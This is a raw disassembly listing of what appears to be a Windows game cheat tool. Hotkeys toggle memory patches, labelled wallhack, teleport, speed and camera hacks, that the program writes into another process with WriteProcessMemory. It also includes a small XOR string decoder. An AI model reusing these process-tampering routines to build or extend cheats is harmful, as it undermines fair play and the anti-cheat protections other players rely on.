inc esi
mov rdx, qword [0x1405c4e68]
add rdi, 8
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140051bc0
lea r9, str.Teleport_Amazon_Enable
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x15900]
call fcn.140048a20
lea rcx, [rbp + 0x15900]
call fcn.14004bbe0
mov ecx, 0x320
jmp 0x140051cd6
mov byte [0x1405c4cb0], 1
mov dword [rbp - 0x58], 0x447a0000
mov dword [rbp - 0x54], 0x43f3f3f
mov dword [rbp - 0x50], 0xe92d4ff0
mov dword [rbp - 0x4c], 0xe28db01c
test rax, rax
je 0x140051caa
mov rdi, r13
mov rbx, qword [rdx + rdi]
call fcn.1400573b0
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x58]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c4e70]
inc esi
mov rdx, qword [0x1405c4e68]
add rdi, 8
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140051c63
lea r9, str.Teleport_Amazon_Disable
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x17910]
call fcn.140048a20
lea rcx, [rbp + 0x17910]
call fcn.14004bbe0
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1405c4c10]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140051f6e
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140051d2b
lea rdx, [0x14004e8f0]
lea rcx, [rbp + 0xb60]
call fcn.140046e50
mov rcx, rax
call fcn.14004e060
cmp dword [rbp + 0xb68], 0
jne 0x140051b62
jmp 0x140051f6e
mov rax, qword [0x1405c4f30]
mov esi, r13d
mov rdx, qword [0x1405c4f28]
sub rax, rdx
sar rax, 3
cmp byte [0x1405c4cb2], 0
je 0x140051e61
mov byte [0x1405c4cb2], 0
mov dword [rbp + 0xc0], 0
mov qword [rbp + 0xc4], 0x40c38e22
mov dword [rbp + 0xcc], 0
mov dword [rbp + 0xd0], 0xbf800000
mov dword [rbp + 0xd4], 0
mov dword [rbp + 0xd8], 0xbf800000
mov qword [rbp + 0xdc], 0
mov qword [rbp + 0xe4], 0x3f800000
mov qword [rbp + 0xec], 0
mov dword [rbp + 0xf4], 0
mov qword [rbp + 0xf8], 0x3f800000
mov dword [rbp + 0x100], 0
mov dword [rbp + 0x104], 0xbf800000
test rax, rax
je 0x140051e30
mov rdi, r13
mov rbx, qword [rdx + rdi]
call fcn.1400573b0
mov r9d, 0x48
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0xc0]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c4f30]
inc esi
mov rdx, qword [0x1405c4f28]
add rdi, 8
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140051de6
lea r9, str.Dwarf_Camera_Enabled
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x19920]
call fcn.140048a20
lea rcx, [rbp + 0x19920]
call fcn.14004bbe0
mov ecx, 0x320
jmp 0x140051f63
mov byte [0x1405c4cb2], 1
mov dword [rbp + 0x70], 0
mov qword [rbp + 0x74], 0x3f800000
mov dword [rbp + 0x7c], 0
mov dword [rbp + 0x80], 0xbf800000
mov dword [rbp + 0x84], 0
mov dword [rbp + 0x88], 0xbf800000
mov qword [rbp + 0x8c], 0
mov qword [rbp + 0x94], 0x3f800000
mov qword [rbp + 0x9c], 0
mov dword [rbp + 0xa4], 0
mov qword [rbp + 0xa8], 0x3f800000
mov dword [rbp + 0xb0], 0
mov dword [rbp + 0xb4], 0xbf800000
test rax, rax
je 0x140051f37
mov rdi, r13
nop
mov rbx, qword [rdx + rdi]
call fcn.1400573b0
mov r9d, 0x48
mov qword [rsp + 0x20], r13
lea r8, [rbp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c4f30]
inc esi
mov rdx, qword [0x1405c4f28]
add rdi, 8
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140051ef0
lea r9, str.Dwarf_Camera_Disabled
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x1b930]
call fcn.140048a20
lea rcx, [rbp + 0x1b930]
call fcn.14004bbe0
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1405c4c14]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005212e
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140051fe0
lea rdx, [0x14004d080]
lea rcx, [rbp + 0xb70]
call fcn.140046e50
mov rbx, rax
cmp dword [rax + 8], 0
je 0x140056be8
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0x110]
movaps xmmword [rbp + 0x110], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140056be8
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rbp + 0xb78], eax
jne 0x140051b62
jmp 0x14005212e
mov rax, qword [0x1405c5240]
mov esi, r13d
mov rdx, qword [0x1405c5238]
sub rax, rdx
sar rax, 3
cmp byte [0x1405c4d16], 0
je 0x14005209a
mov byte [0x1405c4d16], 0
mov dword [rbp - 0x78], 0x42520000
mov dword [rbp - 0x74], 0x3fb33333
mov dword [rbp - 0x70], 0x3ff33333
test rax, rax
je 0x140052077
mov rdi, r13
nop dword [rax]
mov rbx, qword [rdx + rdi]
call fcn.1400573b0
mov r9d, recv
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x78]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c5240]
inc esi
mov rdx, qword [0x1405c5238]
add rdi, 8
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052030
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.Speed_Run_Enabled
lea rcx, [0x14058e558]
call fcn.140038520
mov ecx, 0x320
jmp 0x140052123
mov byte [0x1405c4d16], 1
mov dword [rsp + 0x78], 0x40500000
mov dword [rsp + 0x7c], 0x3fb33333
mov word [rbp - 0x80], 0x3333
test rax, rax
je 0x140052105
mov rdi, r13
nop
mov rbx, qword [rdx + rdi]
call fcn.1400573b0
mov r9, r15
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x78]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c5240]
inc esi
mov rdx, qword [0x1405c5238]
add rdi, 8
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x1400520c0
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.Speed_X99_Disable
lea rcx, [0x14058e558]
call fcn.140038520
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1405c4c1c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400523ca
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400521a0
lea rdx, [0x14004c0e0]
lea rcx, [rbp + 0xb80]
call fcn.140046e50
mov rbx, rax
cmp dword [rax + 8], 0
je 0x140056be8
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0x110]
movaps xmmword [rbp + 0x110], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140056be8
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rbp + 0xb88], eax
jne 0x140051b62
jmp 0x1400523ca
mov rax, qword [0x1405c4f18]
mov esi, r13d
mov rdx, qword [0x1405c4f10]
sub rax, rdx
sar rax, 3
cmp byte [0x1405c4d1a], 0
je 0x1400522a1
mov byte [0x1405c4d1a], 0
mov dword [rsp + 0x68], 0xbeac8b44
mov dword [rsp + 0x6c], 0xbf1e76c9
test rax, rax
je 0x14005222c
mov rdi, r13
mov rbx, qword [rdi + rdx]
call fcn.1400573b0
mov r9d, 8
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x68]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c4f18]
inc esi
mov rdx, qword [0x1405c4f10]
add rdi, 8
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x1400521e4
lea r9, str.WALLHACK_ENABLE
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x1860]
call fcn.140048a20
mov rax, qword [0x14058f290]
cmp rax, qword [0x14058f298]
je 0x140052281
mov r8d, 0x2010
lea rdx, [rbp + 0x1860]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14058f290], 0x2010
mov ecx, 0x320
jmp 0x1400523bf
lea r8, [rbp + 0x1860]
mov rdx, rax
lea rcx, [0x14058f288]
call fcn.140047870
mov ecx, 0x320
jmp 0x1400523bf
mov byte [0x1405c4d1a], 1
mov dword [rbp - 8], 0x3f8147ae
mov dword [rbp - 4], 0x3f8147ae
mov dword [rbp], 0x3f8147ae
mov dword [rbp + 4], 0x3f8147ae
mov dword [rbp + 8], 0xeeb71a00
mov dword [rbp + 0xc], 0xed9f3adc
mov dword [rbp + 0x10], 0xe24f0030
mov dword [rbp + 0x14], 0xeeb02a43
mov dword [rbp + 0x18], 0xf4600aef
mov dword [rbp + 0x1c], 0xeef06a43
mov dword [rbp + 0x20], 0xe28a001c
mov dword [rbp + 0x24], 0xeef05a43
mov word [rbp + 0x28], 0xa8f
test rax, rax
je 0x140052357
mov rdi, r13
nop word [rax + rax]
mov rbx, qword [rdi + rdx]
call fcn.1400573b0
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x20], r13
lea r8, [rbp - 8]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c4f18]
inc esi
mov rdx, qword [0x1405c4f10]
add rdi, 8
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052310
lea r9, str.WALLHACK_DISABLE
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x3870]
call fcn.140048a20
mov rax, qword [0x14058f290]
cmp rax, qword [0x14058f298]
je 0x1400523a4
mov r8d, 0x2010
lea rdx, [rbp + 0x3870]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14058f290], 0x2010
jmp 0x1400523ba
lea r8, [rbp + 0x3870]
mov rdx, rax
lea rcx, [0x14058f288]
call fcn.140047870
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1405c4c20]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400523fa
cmp byte [reloc.WS2_32.dll_accept], 0
mov rcx, r14
sete al
mov byte [reloc.WS2_32.dll_accept], al
neg al
sbb edx, edx
and edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, [0x1405c50c0]
lea rdx, str.Username:
lea rcx, [rbp + 0x750]
call fcn.1400473a0
cmp qword [rbp + 0x768], 0xf
lea rcx, [rbp + 0x750]
mov rbx, qword [rbp + 0x760]
lea rdx, [rbp + 0x480]
cmova rcx, qword [rbp + 0x750]
xorps xmm0, xmm0
movzx eax, word [0x140190ce8]
cmp r15, rbx
movups xmmword [rbp + 0x480], xmm0
mov r8, rbx
mov qword [rbp + 0x490], r15
movsd xmm0, qword [str.Username:]
cmovb r8, r15
mov qword [rbp + 0x498], reloc.WS2_32.dll_ntohs
movsd qword [rbp + 0x480], xmm0
mov word [rbp + 0x488], ax
mov byte [rbp + 0x48a], 0
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140052498
cmp rbx, r15
jb 0x140052498
jbe 0x140056b0c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1401297f4]
call fcn.140047010
lea rdx, [0x1400486f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
mov ecx, reloc.WLDAP32.dll_Ordinal_50
shr ebx, 0xf
and bl, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx edi, ax
mov ecx, 0x33
shr edi, 0xf
and dil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx esi, ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
shr esi, 0xf
and sil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r14d, ax
mov ecx, WSAStartup
shr r14d, 0xf
and r14b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r15d, ax
mov ecx, WSAStartup
shr r15d, 0xf
and r15b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r12d, ax
mov ecx, reloc.WS2_32.dll_WSAStartup
shr r12d, 0xf
and r12b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r13d, ax
mov ecx, 0x51
shr r13d, 0xf
and r13b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x45
and al, 1
mov dword [rsp + 0x64], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1405c4e0c]
movzx edx, ax
shr edx, 0xf
and dl, 1
cmp ecx, 1
jne 0x1400525b4
test bl, bl
je 0x14005271e
cmp byte [0x1405c4bf3], 0
mov eax, dword [rsp + 0x64]
jne 0x140052722
cmp byte [0x1405c4be9], 0
sete byte [0x1405c4be9]
jmp 0x140052722
cmp ecx, 2
jne 0x1400525e6
test dil, dil
je 0x14005271e
cmp byte [0x1405c4bf4], 0
mov eax, dword [rsp + 0x64]
jne 0x140052722
cmp byte [0x1405c4be9], 0
sete byte [0x1405c4be9]
jmp 0x140052722
cmp ecx, 3
jne 0x140052618
test sil, sil
je 0x14005271e
cmp byte [0x1405c4bf5], 0
mov eax, dword [rsp + 0x64]
jne 0x140052722
cmp byte [0x1405c4be9], 0
sete byte [0x1405c4be9]
jmp 0x140052722
cmp ecx, 4
jne 0x14005264a
test r14b, r14b
je 0x14005271e
cmp byte [0x1405c4bf6], 0
mov eax, dword [rsp + 0x64]
jne 0x140052722
cmp byte [0x1405c4be9], 0
sete byte [0x1405c4be9]
jmp 0x140052722
cmp ecx, 5
jne 0x14005267c
test r15b, r15b
je 0x14005271e
cmp byte [0x1405c4bf7], 0
mov eax, dword [rsp + 0x64]
jne 0x140052722
cmp byte [0x1405c4be9], 0
sete byte [0x1405c4be9]
jmp 0x140052722
cmp ecx, 6
jne 0x1400526ab
test r12b, r12b
je 0x14005271e
cmp byte [0x1405c4bf8], 0
mov eax, dword [rsp + 0x64]
jne 0x140052722
cmp byte [0x1405c4be9], 0
sete byte [0x1405c4be9]
jmp 0x140052722
cmp ecx, 7
jne 0x1400526d2
test r13b, r13b
je 0x14005271e
cmp byte [0x1405c4bf9], 0
mov eax, dword [rsp + 0x64]
jne 0x140052722
cmp byte [0x1405c4be9], 0
sete byte [0x1405c4be9]
jmp 0x140052722
cmp ecx, 8
jne 0x1400526f8
mov eax, dword [rsp + 0x64]
test al, al
je 0x140052722
cmp byte [0x1405c4bfa], 0
jne 0x140052722
cmp byte [0x1405c4be9], 0
sete byte [0x1405c4be9]
jmp 0x140052722
cmp ecx, 9
jne 0x14005271e
test dl, dl
je 0x14005271e
cmp byte [0x1405c4bfb], 0
mov eax, dword [rsp + 0x64]
jne 0x140052722
cmp byte [0x1405c4be9], 0
sete byte [0x1405c4be9]
jmp 0x140052722
mov eax, dword [rsp + 0x64]
mov byte [0x1405c4bf3], bl
mov byte [0x1405c4bf4], dil
mov byte [0x1405c4bf5], sil
mov byte [0x1405c4bf6], r14b
mov byte [0x1405c4bf7], r15b
mov byte [0x1405c4bf8], r12b
mov byte [0x1405c4bf9], r13b
mov byte [0x1405c4bfa], al
mov byte [0x1405c4bfb], dl
call fcn.14000e3d0
xor r15d, r15d
lea rcx, [rbp + 0x4b0]
xor edx, edx
mov r13, rax
mov dword [rax + 0x10], 0x41200000
mov dword [rax + 0x2c], 0x41200000
mov dword [rax + 8], r15d
mov dword [rax + 0xc], 0x41f00000
mov dword [rax + 0x14], r15d
mov dword [rax + 0x44], 0x40800000
mov qword [rax + 0x4c], r15
mov dword [rax + 0x74], 0x40c00000
mov qword [rax + 0x34], 0x41000000
mov dword [rbp + 0x4b0], 0x44480000
mov dword [rbp + 0x4b4], 0x44020000
call fcn.14001b000
lea rcx, [rsp + 0x60]
call fcn.14004a330
cmp byte [rax + 9], r15b
je 0x1400527f9
xor byte [rax], 0x9f
xor byte [rax + 1], 0x67
xor byte [rax + 2], 0x13
xor byte [rax + 3], 9
xor byte [rax + 4], 0x95
xor byte [rax + 5], 0xbb
xor byte [rax + 6], 0x71
xor byte [rax + 7], 7
xor byte [rax + 8], 0x9f
mov byte [rax + 9], r15b
xor edx, edx
mov r8d, 0x20bb
mov rcx, rax
call fcn.140004dd0
lea rcx, [rbp + 0x2a8]
call fcn.14000e680
lea rcx, [rbp + 0x2a0]
call fcn.14000e6a0
lea rcx, [rbp + 0xb20]
call fcn.14000d840
call fcn.14000d910
cvttss2si ecx, dword [0x14058e638]
mov rbx, rax
mov dword [rbp + 0x530], r15d
mov dword [rbp + 0x534], 0x3f800000
mov dword [rbp + 0x538], 0x3f800000
movd xmm0, ecx
lea rcx, [rbp + 0x530]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm14
movss dword [rbp + 0x53c], xmm0
call fcn.140009f70
movss xmm3, dword [rbp + 0x2a8]
lea r8, [rbp + 0x2b0]
movss xmm2, dword [rbp + 0x2ac]
lea rdx, [rbp + 0x2b8]
movss xmm0, dword [rbp + 0x2a0]
mov r9d, eax
movss xmm1, dword [rbp + 0x2a4]
addss xmm0, xmm3
addss xmm1, xmm2
movss dword [rsp + 0x30], xmm11
subss xmm3, xmm8
mov dword [rsp + 0x28], r15d
subss xmm2, xmm8
movss dword [rsp + 0x20], xmm11
mov rcx, rbx
addss xmm0, xmm8
addss xmm1, xmm8
movss dword [rbp + 0x2b8], xmm3
movss dword [rbp + 0x2bc], xmm2
movss dword [rbp + 0x2b0], xmm0
movss dword [rbp + 0x2b4], xmm1
call fcn.140023bf0
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140052b0a
mov rax, qword [0x1405c4df8]
mov esi, r15d
mov rdx, qword [0x1405c4df0]
sub rax, rdx
sar rax, 3
cmp byte [0x1405c4d1b], r15b
je 0x140052a20
mov byte [0x1405c4d1b], r15b
mov dword [rbp - 0x48], 0xea000000
mov dword [rbp - 0x44], 0xbf800000
mov dword [rbp - 0x40], 0xee408a85
mov dword [rbp - 0x3c], 0xee409a87
test rax, rax
je 0x1400529ab
mov rdi, r15
mov rbx, qword [rdi + rdx]
call fcn.1400573b0
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x48]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c4df8]
lea rdi, [rdi + 8]
mov rdx, qword [0x1405c4df0]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052964
lea r9, str.WALLHACK_V2_ENABLE
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x5880]
call fcn.140048a20
mov rax, qword [0x14058f290]
cmp rax, qword [0x14058f298]
je 0x140052a00
mov r8d, 0x2010
lea rdx, [rbp + 0x5880]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14058f290], 0x2010
mov ecx, 0x320
jmp 0x140052aff
lea r8, [rbp + 0x5880]
mov rdx, rax
lea rcx, [0x14058f288]
call fcn.140047870
mov ecx, 0x320
jmp 0x140052aff
mov byte [0x1405c4d1b], 1
mov dword [rbp - 0x38], 0xea000000
mov dword [rbp - 0x34], 0x358637bd
mov dword [rbp - 0x30], 0xee238a85
mov dword [rbp - 0x2c], 0xee229a87
test rax, rax
je 0x140052a97
mov rdi, r15
nop dword [rax + rax]
mov rbx, qword [rdi + rdx]
call fcn.1400573b0
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x38]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c4df8]
lea rdi, [rdi + 8]
mov rdx, qword [0x1405c4df0]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052a50
lea r9, str.WALLHACK_V2_DISABLE
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x7890]
call fcn.140048a20
mov rax, qword [0x14058f290]
cmp rax, qword [0x14058f298]
je 0x140052ae4
mov r8d, 0x2010
lea rdx, [rbp + 0x7890]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14058f290], 0x2010
jmp 0x140052afa
lea r8, [rbp + 0x7890]
mov rdx, rax
lea rcx, [0x14058f288]
call fcn.140047870
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140052d4a
mov rax, qword [0x1405c4f18]
mov esi, r15d
mov rdx, qword [0x1405c4f10]
sub rax, rdx
sar rax, 3
cmp byte [0x1405c4d1a], r15b
je 0x140052c1f
mov byte [0x1405c4d1a], r15b
mov dword [rsp + 0x70], 0xbeac8b44
mov dword [rsp + 0x74], 0xbf1e76c9
test rax, rax
je 0x140052baa
mov rdi, r15
mov rbx, qword [rdi + rdx]
call fcn.1400573b0
mov r9d, 8
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c4f18]
lea rdi, [rdi + 8]
mov rdx, qword [0x1405c4f10]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052b62
lea r9, str.WALLHACK_ENABLE
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x98a0]
call fcn.140048a20
mov rax, qword [0x14058f290]
cmp rax, qword [0x14058f298]
je 0x140052bff
mov r8d, 0x2010
lea rdx, [rbp + 0x98a0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14058f290], 0x2010
mov ecx, 0x320
jmp 0x140052d3f
lea r8, [rbp + 0x98a0]
mov rdx, rax
lea rcx, [0x14058f288]
call fcn.140047870
mov ecx, 0x320
jmp 0x140052d3f
mov byte [0x1405c4d1a], 1
mov dword [rbp + 0x30], 0x3f8147ae
mov dword [rbp + 0x34], 0x3f8147ae
mov dword [rbp + 0x38], 0x3f8147ae
mov dword [rbp + 0x3c], 0x3f8147ae
mov dword [rbp + 0x40], 0xeeb71a00
mov dword [rbp + 0x44], 0xed9f3adc
mov dword [rbp + 0x48], 0xe24f0030
mov dword [rbp + 0x4c], 0xeeb02a43
mov dword [rbp + 0x50], 0xf4600aef
mov dword [rbp + 0x54], 0xeef06a43
mov dword [rbp + 0x58], 0xe28a001c
mov dword [rbp + 0x5c], 0xeef05a43
mov word [rbp + 0x60], 0xa8f
test rax, rax
je 0x140052cd7
mov rdi, r15
nop dword [rax + rax]
mov rbx, qword [rdi + rdx]
call fcn.1400573b0
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0x30]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c4f18]
lea rdi, [rdi + 8]
mov rdx, qword [0x1405c4f10]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052c90
lea r9, str.WALLHACK_DISABLE
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0xb8b0]
call fcn.140048a20
mov rax, qword [0x14058f290]
cmp rax, qword [0x14058f298]
je 0x140052d24
mov r8d, 0x2010
lea rdx, [rbp + 0xb8b0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14058f290], 0x2010
jmp 0x140052d3a
lea r8, [rbp + 0xb8b0]
mov rdx, rax
lea rcx, [0x14058f288]
call fcn.140047870
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, reloc.WS2_32.dll_WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140052f51
mov rax, qword [0x1405c4e70]
mov esi, r15d
mov rdx, qword [0x1405c4e68]
sub rax, rdx
sar rax, 3
cmp byte [0x1405c4cb0], r15b
je 0x140052e6c
mov byte [0x1405c4cb0], r15b
mov dword [rbp - 0x28], 0xc47a0000
mov dword [rbp - 0x24], 0x43f3f3f
mov dword [rbp - 0x20], 0xe92d4ff0
mov dword [rbp - 0x1c], 0xe28db01c
test rax, rax
je 0x140052df7
mov rdi, r15
nop
mov rbx, qword [rdi + rdx]
call fcn.1400573b0
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x28]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c4e70]
lea rdi, [rdi + 8]
mov rdx, qword [0x1405c4e68]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052db0
lea r9, str.Teleport_Amazon_Enable
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0xd8c0]
call fcn.140048a20
mov rax, qword [0x14058f290]
cmp rax, qword [0x14058f298]
je 0x140052e4c
mov r8d, 0x2010
lea rdx, [rbp + 0xd8c0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14058f290], 0x2010
mov ecx, 0x320
jmp 0x140052f46
lea r8, [rbp + 0xd8c0]
mov rdx, rax
lea rcx, [0x14058f288]
call fcn.140047870
mov ecx, 0x320
jmp 0x140052f46
mov byte [0x1405c4cb0], 1
mov dword [rbp - 0x18], 0x447a0000
mov dword [rbp - 0x14], 0x43f3f3f
mov dword [rbp - 0x10], 0xe92d4ff0
mov dword [rbp - 0xc], 0xe28db01c
test rax, rax
je 0x140052ede
mov rdi, r15
mov rbx, qword [rdi + rdx]
call fcn.1400573b0
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x18]
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1405c4e70]
lea rdi, [rdi + 8]
mov rdx, qword [0x1405c4e68]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140052e97
lea r9, str.Teleport_Amazon_Disable
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0xf8d0]
call fcn.140048a20
mov rax, qword [0x14058f290]
cmp rax, qword [0x14058f298]
je 0x140052f2b
mov r8d, 0x2010
lea rdx, [rbp + 0xf8d0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14058f290], 0x2010
jmp 0x140052f41
lea r8, [rbp + 0xf8d0]
mov rdx, rax
lea rcx, [0x14058f288]
call fcn.140047870
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov rdi, qword [rbp + 0x1a8]
lea rdx, [rbp + 0x1d0]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rbp + 0xb28]
call fcn.14000e680
movss xmm0, dword [rax]
ucomiss xmm0, xmm7
jp 0x140052fa2
jne 0x140052fa2
lea rcx, [rbp + 0xb30]
call fcn.14000e680
movss xmm0, dword [rax + 4]
ucomiss xmm0, xmm7
jp 0x140052fa2
je 0x140053018
lea rcx, [rbp + 0xb38]
call fcn.14000e680
movd xmm0, dword [rbp + 0x1d4]
lea rcx, [rbp + 0xb40]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.14000e680
mov r9d, 0x320
mov dword [rsp + 0x28], 1
mov r8d, ebx
mov rcx, rdi
mov dword [rsp + 0x20], 0x208
movd xmm0, dword [rbp + 0x1d0]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
xor edx, edx
mov qword [rbp + 0x2c0], r15
lea rcx, [rbp + 0x2c0]
call fcn.14001b330
call fcn.14000e630
